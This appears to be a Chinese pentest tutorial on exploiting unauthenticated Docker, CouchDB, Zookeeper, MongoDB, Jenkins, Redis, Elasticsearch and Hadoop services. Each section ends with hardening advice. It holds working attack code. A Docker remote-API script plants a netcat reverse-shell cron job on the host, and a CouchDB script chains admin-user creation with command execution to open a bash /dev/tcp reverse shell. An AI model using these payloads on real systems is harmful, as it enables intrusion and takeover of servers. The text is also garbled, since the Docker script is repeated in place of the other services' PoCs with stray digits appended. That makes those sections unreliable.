简介
Docker 未授权访问
漏洞描述
Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell
环境配置
vulhub 靶场环境 docker-compose build docker-compose up -d 环境启动后,将监听 2375 端口。 测试多个环境启动失败,最后使用官方靶场推荐环境,ubuntu20.04 正常启动
漏洞利用
http://xxx:2375/version 查看版本信息
http://xxx:2375/info 查看info信息
http://host:2375/containers/json 当前服务器运行容器列表信息
使用命令远程连接目标执行docker 指令
docker -H tcp://xxx:2375 images 返回远程目标的 images 信息,也可以执行其他docker命令
**获取宿主机权限**
远程命令运行容器并且使用 -v 参数将宿主机 /root 目录挂载到容器 /mnt/setc 目录
随后可以将生成 ssh 公钥私钥,将公钥写入目标 /root/.ssh/authorized_keys 文件
随后使用私钥登陆
docker -H tcp://192.168.56.117:2375 run -it -v /root:/mnt/setc alpine:latest /bin/sh
远程命令运行容器使用 -v 参数将宿主机 /etc 目录挂载到容器 /mnt/setc 目录
随后写入定时任务命令反弹shell
/etc/crontab ,也可以挂载 /var/spool/cron/ 写入定时任务反弹shell
docker -H tcp://192.168.56.117:2375 run -it -v /etc:/mnt/setc alpine:latest /bin/sh
py poc 代码
#!/usr/bin/env python
# coding=utf-8
import docker
client = docker.DockerClient(base_url='http://192.168.56.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.56.1 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
漏洞加固
在不必需的情况下,不要启用 docker 的 remote api 服务,如果必须使用的话,可以采用如下的加固方式: 设置 ACL,仅允许信任的来源 IP 连接; 设置 TLS 认证,官方的文档为 Protect the Docker daemon socket 客户端连接时需要设置以下环境变量 export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证
参考链接
https://paper.seebug.org/409/#0x010-docker https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.zh-cn.md https://0a00.github.io/2022/11/26/docker1/
Couchdb 未授权访问
漏洞简介
Apache CouchDB 是一个开源数据库,专注于易用性和成为"完全拥抱 web 的数据库"。它是一个使用 JSON 作为存储格式,JavaScript 作为查询语言,MapReduce 和 HTTP 作为 API 的 NoSQL 数据库。应用广泛,如 BBC 用在其动态内容展示平台,Credit Suisse 用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web 和应用程序)。
CouchDB 默认在 5984 端口开放 Restful 的 API 接口,用于数据库的管理功能。其 HTTP Server 默认开启时没有进行验证,而且绑定在 0.0.0.0,所有用户均可通过 API 访问导致未授权访问。任何连接到服务器端口上的人,都可以调用相关 API 对服务器上的数据进行任意的增删改查,其中通过 API 修改 local.ini 配置文件,可进一步导致执行任意系统命令,获取服务器权限!
漏洞环境
使用 vulhub 搭建
启动完成后,访问http://your-ip:5984/
即可看到 Couchdb 的欢迎页面。
漏洞利用
Couchdb 垂直权限绕过漏洞(CVE-2017-12635)
任意用户创建
数据包中发送两个 roles 数据包,可绕过限制,建立用户
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
Couchdb 任意命令执行漏洞(CVE-2017-12636)
在 2017 年 11 月 15 日,CVE-2017-12635 和 CVE-2017-12636 披露,CVE-2017-12636 是一个任意命令执行漏洞,我们可以通过 config api 修改 couchdb 的配置query_server
,这个配置项在设计、执行 view 的时候将被运行。
利用条件
影响版本:小于 1.7.0 以及 小于 2.1.1
该漏洞是需要登录用户方可触发,如果不知道目标管理员密码,可以利用CVE-2017-12635先增加一个管理员用户。
利用方式
使用msf模块:linux/http/apache_couchdb_cmd_exec
poc 代码
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://your-ip/:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
漏洞加固
指定 CouchDB 绑定的 IP (需要重启 CouchDB 才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问 CouchDB。 设置访问密码 (需要重启 CouchDB 才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码
参考文章
https://paper.seebug.org/409/#0x09-couchdb https://vulhub.org/#/environments/couchdb/CVE-2017-12636/
Zookeeper 未授权访问
漏洞描述
Zookeeper 的默认开放端口是 2181。Zookeeper 安装部署之后默认情况下不需要任何身份验证,造成攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 集群内进行破坏
比如:kill 命令。攻击者能够执行所有只允许由管理员运行的命令。
默认运行在 2181 端口
环境搭建
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14-bin.tar.gz
tar -xvf filename.tar.gz 解包
cd zookeeper/src
mv zoo_sample.cfg zoo.cfg 进入目录修改配置文件名称未zoo.cfg
../bin/zkServer.sh start 启动服务
漏洞复现
echo conf | nc xx.xx.xx.xx 2181
conf命令输出相关服务配置的详细信息,端口、数据路径、日志路径、session 超时时间,最大连接数等。
echo cons | nc xx.xx.xx.xx 2181 | more
列出所有连接到当前服务器的客户端/会话的详细信息
echo dump | nc xx.xx.xx.xx 2181 | more
输出未处理的会话和临时节点,leader 节点有效。
echo envi | nc xx.xx.xx.xx 2181
输出服务器详细信息
./zkCli.sh -server x.x.x.x:2181
直接连接服务测试,执行命令
漏洞修复
禁止把 Zookeeper 直接暴露在公网 添加访问控制,根据情况选择对应方式(认证用户,用户名密码) 绑定指定 IP 访问
MongoDB 未授权访问
漏洞介绍
默认开启 MongoDB 服务不添加任何参数时,是没有任何权限验证的,可以直接无密码连接登陆,端口 27017
漏洞利用
mongo --host ip --port 27017 直接连接数据库
漏洞加固
为 MongoDB 添加认证 启动时候添加 —auth 参数 给 MongoDB 添加用户
use admin #使用admin库
db.addUser("root", "123456") #添加用户名root密码123456的用户
db.auth("root","123456") #验证下是否添加成功,返回1说明成功
禁用 HTTP 和 REST 端口
MongoDB 自身带有一个 HTTP 服务和并支持 REST 接口。
在2.6以后这些接口默认是关闭的。mongoDB 默认会使用默认端口监听web服务,
一般不需要通过 web 方式进行远程管理,建议禁用。
修改配置文件或在启动的时候选择 –nohttpinterface 参数 nohttpinterface=false
限制绑定 ip
py poc 代码
#!/usr/bin/env python
# coding=utf-8
import docker
client = docker.DockerClient(base_url='http://192.168.56.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.56.1 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
0
Jenkins 未授权访问
漏洞描述
默认情况下 Jenkins 面板中用户可以选择执行脚本界面来操作一些系统层命令,攻击者可通过未授权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。
漏洞利用
命令执行地址
http://192.168.56.114:8080/script
http://192.168.56.114:8080/manage
py poc 代码
#!/usr/bin/env python
# coding=utf-8
import docker
client = docker.DockerClient(base_url='http://192.168.56.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.56.1 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
1
修复建议
禁止 jenkins 暴露在公网 添加认证,设置复杂密码以及账号锁定
相关 CVE
CVE-2017-1000353
CVE-2018-1000861
redis 未授权访问
简介
Redis 在某些情况下,绑定在 0.0.0.0 暴露公网访问的时候,没有防火墙策略,没有密码认证的情况下,会导致任意目标访问 redis 以及读取写入数据。
利用条件
绑定在 0.0.0.0:6379,没有安全策略 ip 限制,直接暴露在公网 没有设置 redis 密码认证,可以免密码登陆 高级利用,root 身份运行
复现环境
centos 7 redis wget http://download.redis.io/releases/redis-4.0.8.tar.gz
py poc 代码
#!/usr/bin/env python
# coding=utf-8
import docker
client = docker.DockerClient(base_url='http://192.168.56.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.56.1 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
2
复现过程
py poc 代码
#!/usr/bin/env python
# coding=utf-8
import docker
client = docker.DockerClient(base_url='http://192.168.56.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.56.1 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
3
修复方式
bind 127.0.0.1 只对本地开放 requirepass password 设置密码认证 修改默认端口 设置防火墙规则
ElasticSearch 未授权访问
漏洞介绍
Elasticsearch 是一款 java 编写的企业级搜索服务。越来越多的公司使用 ELK 作为日志分析,启动此服务默认会开放 9200 端口,可被非法操作数据。
漏洞检测:默认端口 9200
相当于一个 API,任何人访问这个地址,就可以调用 api,进行数据的增删改操作。
返回内容中包含”You Know, for Search”
漏洞利用
py poc 代码
#!/usr/bin/env python
# coding=utf-8
import docker
client = docker.DockerClient(base_url='http://192.168.56.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.56.1 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
4
修复方案
关闭 9200 端口 防火墙规则限制禁止外网访问端口 设置端口账号认证
参考链接
http://blkstone.github.io/2017/09/27/elasticsearch-unauthorized-access/
http://blkstone.github.io/2017/09/27/elasticsearch-unauthorized-access/
Hadoop 未授权访问 RCE
漏洞描述
由于服务器直接在开放了 Hadoop 机器 的多个 web 端口及部分默认服务端口,黑客可以通过命令行操作多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操作,产生极大的危害。
ResourceManager 默认端口 8088
环境搭建
使用 vulhub 搭建靶场环境
地址:https://vulhub.org/#/environments/hadoop/unauthorized-yarn/
下载环境,进入漏洞环境目录执行:docker-compose up -d
启动安装启动环境
环境启动后,访问http://your-ip:8088
即可看到 Hadoop YARN ResourceManager WebUI 页面。
漏洞原理
调用 New Application API 创建 Application 进行代码注入,反弹 shell。
漏洞复现
启动 msfconsole search hadoop use linux/http/hadoop_unauth_exec 设置目标 ip,本地监听 ip exploit
py poc 代码
#!/usr/bin/env python
# coding=utf-8
import docker
client = docker.DockerClient(base_url='http://192.168.56.117:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.168.56.1 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
5
漏洞加固
关闭 hadoop web 管理页面 开启身份验证,防止未授权用户访问 设置防火墙安全组策略,禁止端口公网访问,限制可信 ip
参考地址
https://vulhub.org/#/environments/hadoop/unauthorized-yarn/
https://paper.seebug.org/409/#0x08-hadoop
Over ☺️☺️☺️
Over ☺️☺️☺️
Over ☺️☺️☺️
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...